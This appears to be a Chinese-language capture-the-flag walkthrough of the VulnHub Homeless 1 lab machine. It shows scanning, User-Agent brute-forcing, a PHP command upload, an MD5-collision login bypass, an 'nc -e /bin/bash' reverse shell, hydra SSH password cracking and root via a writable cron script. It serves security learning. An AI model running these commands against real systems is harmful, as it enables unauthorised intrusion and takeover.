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靶机介绍靶机介绍

靶机下载地址：https://www.vulnhub.com/entry/homeless-1,215/

靶机安装环境：VMware

 

开始开始

1、靶机IP发现：192.168.1.111

//kali
arp-scan -l

2、nmap 扫描，开放80、22端口
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3、访问80，通过插件并未发现使用何种CMS

4、查看网页源码，果不其然，有提示，让仔细检查



5、robots.txt

rockyou是一个字典的名字，作者提示后期后续会使用这个字典

6、dirb目录爆破，未发现有用信息

dirb http://192.168.1.111 /usr/share/dirb/wordlists/common.txt

7、在网页源码和页面上，我们发现User-Agent



8、Burpsuite 看一眼



9、改一下数据，看看，也会跟着改

看了一些其他文章，说是，服务器端会检测这个字段的内容，如果是特定的字段，则会返回有用的信息

如果是这样的话，则和部分路由器后门的原理一致

是什么字段呢

10、这个步骤，看了一些文章，对一些方法还不是很认可

这里有一个老哥的文章，可以看一下：https://hackso.me/homeless-1-walkthrough/

他的思路是，用靶机作者提示的字典：rockyou，来爆这个UA

这里我使用BurpSuite，但是由于rockyou有点大，133MB，在Burp中导入Payload有些慢，这里自己想办法

Burp，Intruder模块，设置UA为参数，设置好字典，GO

https://hackso.me/homeless-1-walkthrough/


11、BurpSuite Repeater

发现后门提示

12、尝试访问，New Land！

13、说upload就upload，but too large



14、继续学习这位老哥的文章：https://hackso.me/homeless-1-walkthrough/

他写了一段代码，保存为test.php，上传

这里的代码文件大小需要小于等于8个字节，同一段代码在Linux、Windows平台下文件的大小是不同的

<?='ls';

15、上传成功，访问该文件 ip/myuploader_priv/files/abc.php

在该目录下，有一个.txt文件，访问一下

16、well done

这里的IP是靶机IP，访问

17、一个登陆界面，右上角问是否需要提示

https://hackso.me/homeless-1-walkthrough/


看了一下页面源码，没有过多提示，是SQLi吗，还是先看看作者给的提示吧

18、来看一下php代码逻辑，username、password、code三者的值不能相等，但是MD5值需要相等，才能定向
到admin.php

也就是说需要3个值不等的string，然后需要MD5值是相等的



如何来绕过这个限制呢，这里，有一个工具：fastcoll，快速MD5碰撞生成器

fastcoll的基本使用请参考这篇文章：https://blog.csdn.net/prettyX/article/details/105176084

fastcoll是一次依据一个原生文件，产生两个MD5值相同的文件

但是，这里我们需要3个文件，这里我们不使用fastcoll这个工具，而是使用Python脚本

python-md5-collision下载地址：https://github.com/thereal1024/python-md5-collision

我是在kali下测试的

//Kali
apt-get update
apt-get install libboost-all-dev

在安装的过程中，发现此脚本同样也是需要编译fastcoll相关代码的

安装好之后，来测试一下

./gen_coll_test.py

https://blog.csdn.net/prettyX/article/details/105176084
https://github.com/thereal1024/python-md5-collision
https://github.com/thereal1024/python-md5-collision


运行之后，在当前目录下会生成100个MD5值相等，但是SHA256值不等的文件，可以运行下面两条命令测试一
下

md5sum out_test_0*.txt
sha256sum out_test_0*.txt

OK，那么MD5碰撞文件我们就准备好了，拷出3份文件

19、Kali下执行

curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt --data-urlencode "remember=1&login=Login" http://192.168.1.103/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i



（这里靶机IP和文章开始的不一样，是因为不是一次性做完的，第2天IP变了）

获取到了一个SESSION

在浏览器中，F12，修改该Cookie值

再访问该URL ，如果忘记为什么访问该URL，请回看第16步

http://192.168.1.103/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php

20、拿Shell

Kali nc监听：

nc -lvvp 8765

admin.php中执行

nc -e /bin/bash 192.168.1.135 8765

OK，获得Shell

python 交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

21、开始提权

先切换到/home目录



进入downfall，有一个todo.txt

ls -la                          //查看包括隐藏文件

这里查看secret_message没有权限

22、爆破downfall用户密码

使用hydra

//kali
hydra -l downfall -P /usr/share/wordlists/rockyou.txt 192.168.1.103 ssh

靶机作者提示，使用“sec”开头的字典，这里筛选一下，rockyou还是很大的

grep '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt

grep语法：https://www.cnblogs.com/duanlinxiao/p/10778548.html

跑出来了

https://www.cnblogs.com/duanlinxiao/p/10778548.html


23、ssh登录

ssh downfall@192.168.1.103

24、继续提权

查看.secret_message，有新的提示，去对应目录看一眼

root用户有读写执行权限，downfall组有读写权限

我们还有一封邮件待查看，看看是什么

cat /var/mail/downfall

好吧，这封邮件有些长



观察时间，和执行的脚本

应该是计划任务每分钟执行一次homeless.py脚本，及报错信息

在上面也看到了，root执行，而downfall有写权限，OK

修改Python脚本

vim  /lib/logs/homeless.py

红线部分为添加代码

在Kali中nc监听



ROOT!

cd ~
cat flag.txt

 

这个靶机包含信息量还是很大的，做一遍应该会有提高

加油 : )
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